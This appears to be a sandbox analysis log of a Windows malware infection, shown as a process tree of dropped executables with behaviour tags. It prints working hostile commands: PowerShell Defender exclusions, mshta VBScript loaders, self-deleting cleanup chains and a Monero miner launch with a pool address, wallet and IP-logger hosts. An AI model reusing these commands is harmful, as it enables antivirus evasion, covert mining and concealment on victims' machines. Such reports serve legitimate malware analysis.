C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\Documents\0SDRNlaKVLytRdopwwPIYaS2.exe"C:\Users\Admin\Documents\0SDRNlaKVLytRdopwwPIYaS2.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\0SDRNL~1.DLL,s C:\Users\Admin\DOCUME~1\0SDRNL~1.EXE3⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXEC:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\0SDRNL~1.DLL,SBcxM05UUg==4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Checks processor information in registry
- Modifies system certificate store
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\DOCUME~1\0SDRNL~1.DLL5⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXEC:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\0SDRNL~1.DLL,TTIaelM=5⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Checks processor information in registry
-
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\shell32.dll,#61 178976⤵
- Modifies Internet Explorer settings
-
C:\Windows\system32\ctfmon.exectfmon.exe7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmp3575.tmp.ps1"5⤵
- Suspicious use of SendNotifyMessage
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmp1D7E.tmp.ps1"5⤵
-
C:\Windows\SysWOW64\nslookup.exe"C:\Windows\system32\nslookup.exe" -type=any localhost6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /End /tn \Microsoft\Windows\Wininet\CacheTask5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /tn \Microsoft\Windows\Wininet\CacheTask5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Users\Admin\Documents\6aeNHrZ4FLprUXrImovwPiDB.exe"C:\Users\Admin\Documents\6aeNHrZ4FLprUXrImovwPiDB.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 6aeNHrZ4FLprUXrImovwPiDB.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\6aeNHrZ4FLprUXrImovwPiDB.exe" & del C:\ProgramData\*.dll & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 6aeNHrZ4FLprUXrImovwPiDB.exe /f4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\kU7E9j21REUeB3zXnaaIg2iF.exe"C:\Users\Admin\Documents\kU7E9j21REUeB3zXnaaIg2iF.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\Documents\kU7E9j21REUeB3zXnaaIg2iF.exe"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF """" == """" for %A In (""C:\Users\Admin\Documents\kU7E9j21REUeB3zXnaaIg2iF.exe"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\Documents\kU7E9j21REUeB3zXnaaIg2iF.exe" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "" =="" for %A In ("C:\Users\Admin\Documents\kU7E9j21REUeB3zXnaaIg2iF.exe" ) do taskkill -f -iM "%~NxA"4⤵
-
C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXEhbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF ""-p3auHHA5Pn7qj14hc1xRG9TH8FS "" == """" for %A In (""C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "-p3auHHA5Pn7qj14hc1xRG9TH8FS " =="" for %A In ("C:\Users\Admin\AppData\Local\Temp\hBS_VbW.EXE" ) do taskkill -f -iM "%~NxA"7⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\QnEJR.fPC,a6⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "kU7E9j21REUeB3zXnaaIg2iF.exe"5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\P2vqneoMmPuKSSuMKvJadR9G.exe"C:\Users\Admin\Documents\P2vqneoMmPuKSSuMKvJadR9G.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3896 -s 6603⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3896 -s 6483⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3896 -s 6803⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3896 -s 6523⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3896 -s 11763⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3896 -s 11243⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3896 -s 11203⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3896 -s 12323⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\Sy8Smn3WlNY0g0FMgl9ox33q.exe"C:\Users\Admin\Documents\Sy8Smn3WlNY0g0FMgl9ox33q.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\Sy8Smn3WlNY0g0FMgl9ox33q.exe"C:\Users\Admin\Documents\Sy8Smn3WlNY0g0FMgl9ox33q.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Documents\vknD0ATLjHw2BkxuALAGvqX5.exe"C:\Users\Admin\Documents\vknD0ATLjHw2BkxuALAGvqX5.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\MkUJBpTtAfGlkX4du8wRlRNU.exe"C:\Users\Admin\Documents\MkUJBpTtAfGlkX4du8wRlRNU.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\MkUJBpTtAfGlkX4du8wRlRNU.exeC:\Users\Admin\Documents\MkUJBpTtAfGlkX4du8wRlRNU.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\B0m3nJcdf1PM9fYVcg6oA4FX.exe"C:\Users\Admin\Documents\B0m3nJcdf1PM9fYVcg6oA4FX.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\B0m3nJcdf1PM9fYVcg6oA4FX.exe"C:\Users\Admin\Documents\B0m3nJcdf1PM9fYVcg6oA4FX.exe"3⤵
-
C:\Users\Admin\Documents\B0m3nJcdf1PM9fYVcg6oA4FX.exe"C:\Users\Admin\Documents\B0m3nJcdf1PM9fYVcg6oA4FX.exe"3⤵
-
C:\Users\Admin\Documents\RrOS_NpsYb1qjEyd619lZYW1.exe"C:\Users\Admin\Documents\RrOS_NpsYb1qjEyd619lZYW1.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\RrOS_NpsYb1qjEyd619lZYW1.exeC:\Users\Admin\Documents\RrOS_NpsYb1qjEyd619lZYW1.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\FdTwZzySl8xLCEhH6g0wue1K.exe"C:\Users\Admin\Documents\FdTwZzySl8xLCEhH6g0wue1K.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\FdTwZzySl8xLCEhH6g0wue1K.exeC:\Users\Admin\Documents\FdTwZzySl8xLCEhH6g0wue1K.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\FdTwZzySl8xLCEhH6g0wue1K.exeC:\Users\Admin\Documents\FdTwZzySl8xLCEhH6g0wue1K.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\ppDDSZjoP6QBdKGzcUisKQc0.exe"C:\Users\Admin\Documents\ppDDSZjoP6QBdKGzcUisKQc0.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\lTdARvNzLhrSRWDDbUC_YlI_.exe"C:\Users\Admin\Documents\lTdARvNzLhrSRWDDbUC_YlI_.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\4UWr7dZWYWh4OdV_Ck_V_Xva.exe"C:\Users\Admin\Documents\4UWr7dZWYWh4OdV_Ck_V_Xva.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\DQ9LVdVeGrXrZKnsuIxISMgN.exe"C:\Users\Admin\Documents\DQ9LVdVeGrXrZKnsuIxISMgN.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-GE5TC.tmp\DQ9LVdVeGrXrZKnsuIxISMgN.tmp"C:\Users\Admin\AppData\Local\Temp\is-GE5TC.tmp\DQ9LVdVeGrXrZKnsuIxISMgN.tmp" /SL5="$10280,138429,56832,C:\Users\Admin\Documents\DQ9LVdVeGrXrZKnsuIxISMgN.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-K5NMR.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-K5NMR.tmp\Setup.exe" /Verysilent4⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe"C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-7CR06.tmp\Stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-7CR06.tmp\Stats.tmp" /SL5="$40376,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-RA1LD.tmp\builder.exe"C:\Users\Admin\AppData\Local\Temp\is-RA1LD.tmp\builder.exe" -algo'' -pool'stratum+tcp://xmr-asia1.nanopool.org:14444' -wallet'42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s' -load'50' -idleload'50' -loggerSa'2no.co' -loggerS'1C6Ua7' -loggerRa'iplogger.org' -loggerR'1cmAy7' -loggerWa'2no.co' -loggerW'' -ico'' -glue'' -error'' -worker'' -icrypt'' -sremoval'' -ntask'SystemCheck' -ptask'System\' -atask'Microsoft_Corporation' -dtask'Starts_a_system_diagnostics_application_to_scan_for_errors_and_performance_problems.' -pinstall'Roaming\Microsoft\Windows\' -ninstall'Helper' -sinstall'-SystemCheck'7⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im runvd.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe" & del C:\ProgramData\*.dll & exit6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im runvd.exe /f7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 67⤵
- Delays execution with timeout.exe
-
C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe"C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-MOSC5.tmp\WEATHER Manager.tmp"C:\Users\Admin\AppData\Local\Temp\is-MOSC5.tmp\WEATHER Manager.tmp" /SL5="$103B8,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-U986D.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-U986D.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=7157⤵
- Loads dropped DLL
- Enumerates connected drives
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\is-U986D.tmp\Setup.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\is-U986D.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629480198 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"8⤵
- Enumerates connected drives
-
C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"5⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Loads dropped DLL
- Checks processor information in registry
- Kills process with taskkill
-
C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-JHSRD.tmp\MediaBurner2.tmp"C:\Users\Admin\AppData\Local\Temp\is-JHSRD.tmp\MediaBurner2.tmp" /SL5="$2036C,506086,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"6⤵
- Loads dropped DLL
-
C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"5⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q6⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"5⤵
- Checks computer location settings
-
C:\Users\Admin\Documents\5YWVUH5NGCD8vEjnnDXYASpS.exe"C:\Users\Admin\Documents\5YWVUH5NGCD8vEjnnDXYASpS.exe"6⤵
-
C:\Users\Admin\Documents\5YWVUH5NGCD8vEjnnDXYASpS.exe"C:\Users\Admin\Documents\5YWVUH5NGCD8vEjnnDXYASpS.exe"7⤵
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\Documents\wl8P1UQMhT0NeM8ACBfqml7w.exe"C:\Users\Admin\Documents\wl8P1UQMhT0NeM8ACBfqml7w.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\wl8P1UQMhT0NeM8ACBfqml7w.exeC:\Users\Admin\Documents\wl8P1UQMhT0NeM8ACBfqml7w.exe7⤵
- Loads dropped DLL
-
C:\Users\Admin\Documents\h_IRIocI7n2GPurIiAplrrTF.exe"C:\Users\Admin\Documents\h_IRIocI7n2GPurIiAplrrTF.exe"6⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\H_IRIO~1.DLL,s C:\Users\Admin\DOCUME~1\H_IRIO~1.EXE7⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\RUNDLL32.EXEC:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\H_IRIO~1.DLL,Y1ATTDRqMw==8⤵
- Checks processor information in registry
- Modifies system certificate store
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\DOCUME~1\H_IRIO~1.DLL9⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵
-
C:\Users\Admin\Documents\G85T3lADg2FDtjlTdxK96amS.exe"C:\Users\Admin\Documents\G85T3lADg2FDtjlTdxK96amS.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6192 -s 6607⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6192 -s 6487⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6192 -s 6807⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6192 -s 6687⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6192 -s 11207⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6192 -s 11607⤵
- Program crash
-
C:\Users\Admin\Documents\ejxIX5BirQfMxOxWz5hWYoo8.exe"C:\Users\Admin\Documents\ejxIX5BirQfMxOxWz5hWYoo8.exe"6⤵
-
C:\Users\Admin\Documents\2VHBD2yD9SZldkArYMNWgHO0.exe"C:\Users\Admin\Documents\2VHBD2yD9SZldkArYMNWgHO0.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\4149649.exe"C:\Users\Admin\AppData\Roaming\4149649.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\7499957.exe"C:\Users\Admin\AppData\Roaming\7499957.exe"7⤵
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Roaming\2789107.exe"C:\Users\Admin\AppData\Roaming\2789107.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\2065050.exe"C:\Users\Admin\AppData\Roaming\2065050.exe"7⤵
-
C:\Users\Admin\Documents\BmZUXXXkmxDliwoqSKDVSzo7.exe"C:\Users\Admin\Documents\BmZUXXXkmxDliwoqSKDVSzo7.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Users\Admin\Documents\fPIvBZD6Eb4QiQ879jMxxuD5.exe"C:\Users\Admin\Documents\fPIvBZD6Eb4QiQ879jMxxuD5.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7384 -s 6687⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7384 -s 6727⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7384 -s 6687⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7384 -s 6727⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7384 -s 11207⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7384 -s 11767⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7384 -s 11927⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\Documents\xTnNWYtSdCxDsuxhV_ZtfKWq.exe"C:\Users\Admin\Documents\xTnNWYtSdCxDsuxhV_ZtfKWq.exe"6⤵
- Drops file in Program Files directory
-
C:\Users\Admin\Documents\mL9BGS_Qt55xFnCdq7X0uccB.exe"C:\Users\Admin\Documents\mL9BGS_Qt55xFnCdq7X0uccB.exe"6⤵
-
C:\Users\Admin\Documents\nwTBneNKhXDMCe0UD6GjUplv.exe"C:\Users\Admin\Documents\nwTBneNKhXDMCe0UD6GjUplv.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\1CZY5iSAn4h_adnGERVZWdpy.exe"C:\Users\Admin\Documents\1CZY5iSAn4h_adnGERVZWdpy.exe"6⤵
-
C:\Users\Admin\Documents\F11Z1mSpNdH1zOdPTqYqwUwy.exe"C:\Users\Admin\Documents\F11Z1mSpNdH1zOdPTqYqwUwy.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im F11Z1mSpNdH1zOdPTqYqwUwy.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\F11Z1mSpNdH1zOdPTqYqwUwy.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im F11Z1mSpNdH1zOdPTqYqwUwy.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\wSkUQdg9eXwLMP3Xe8hyuuQX.exe"C:\Users\Admin\Documents\wSkUQdg9eXwLMP3Xe8hyuuQX.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\eHz_jO_hZ5wZjU5rSvHZNbvE.exe"C:\Users\Admin\Documents\eHz_jO_hZ5wZjU5rSvHZNbvE.exe"6⤵
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im eHz_jO_hZ5wZjU5rSvHZNbvE.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\eHz_jO_hZ5wZjU5rSvHZNbvE.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im eHz_jO_hZ5wZjU5rSvHZNbvE.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\JKlwN7Xf47YrUgK2cWUdSELd.exe"C:\Users\Admin\Documents\JKlwN7Xf47YrUgK2cWUdSELd.exe"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\Documents\JKlwN7Xf47YrUgK2cWUdSELd.exe"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF """" == """" for %A In (""C:\Users\Admin\Documents\JKlwN7Xf47YrUgK2cWUdSELd.exe"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPY /y "C:\Users\Admin\Documents\JKlwN7Xf47YrUgK2cWUdSELd.exe" hBS_VbW.EXE&&StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF "" =="" for %A In ("C:\Users\Admin\Documents\JKlwN7Xf47YrUgK2cWUdSELd.exe" ) do taskkill -f -iM "%~NxA"8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "JKlwN7Xf47YrUgK2cWUdSELd.exe"9⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\twH0B4h5zF9SL7Sr4W1qXw8I.exe"C:\Users\Admin\Documents\twH0B4h5zF9SL7Sr4W1qXw8I.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\twH0B4h5zF9SL7Sr4W1qXw8I.exe"C:\Users\Admin\Documents\twH0B4h5zF9SL7Sr4W1qXw8I.exe"7⤵
-
C:\Users\Admin\Documents\xhFn_YEQDbvjk6HybAkOYpnw.exe"C:\Users\Admin\Documents\xhFn_YEQDbvjk6HybAkOYpnw.exe"6⤵
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im xhFn_YEQDbvjk6HybAkOYpnw.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\xhFn_YEQDbvjk6HybAkOYpnw.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im xhFn_YEQDbvjk6HybAkOYpnw.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\jA7c1ikV7hZgPAMgupTzYFrt.exe"C:\Users\Admin\Documents\jA7c1ikV7hZgPAMgupTzYFrt.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\jA7c1ikV7hZgPAMgupTzYFrt.exeC:\Users\Admin\Documents\jA7c1ikV7hZgPAMgupTzYFrt.exe7⤵
-
C:\Users\Admin\Documents\uuUB9Y8Iqe_U0Yxbxzxm7tIn.exe"C:\Users\Admin\Documents\uuUB9Y8Iqe_U0Yxbxzxm7tIn.exe"6⤵
-
C:\Users\Admin\Documents\eXr7_LLJdWYTop1YzLm_QeHk.exe"C:\Users\Admin\Documents\eXr7_LLJdWYTop1YzLm_QeHk.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\eXr7_LLJdWYTop1YzLm_QeHk.exe"C:\Users\Admin\Documents\eXr7_LLJdWYTop1YzLm_QeHk.exe"7⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Documents\dbudw_NZ6hr21yiOeHKSlWgJ.exe"C:\Users\Admin\Documents\dbudw_NZ6hr21yiOeHKSlWgJ.exe"6⤵
-
C:\Users\Admin\Documents\dbudw_NZ6hr21yiOeHKSlWgJ.exe"C:\Users\Admin\Documents\dbudw_NZ6hr21yiOeHKSlWgJ.exe" -q7⤵
-
C:\Users\Admin\Documents\Epq2abwVlYZJhzJrHmw_wpCB.exe"C:\Users\Admin\Documents\Epq2abwVlYZJhzJrHmw_wpCB.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
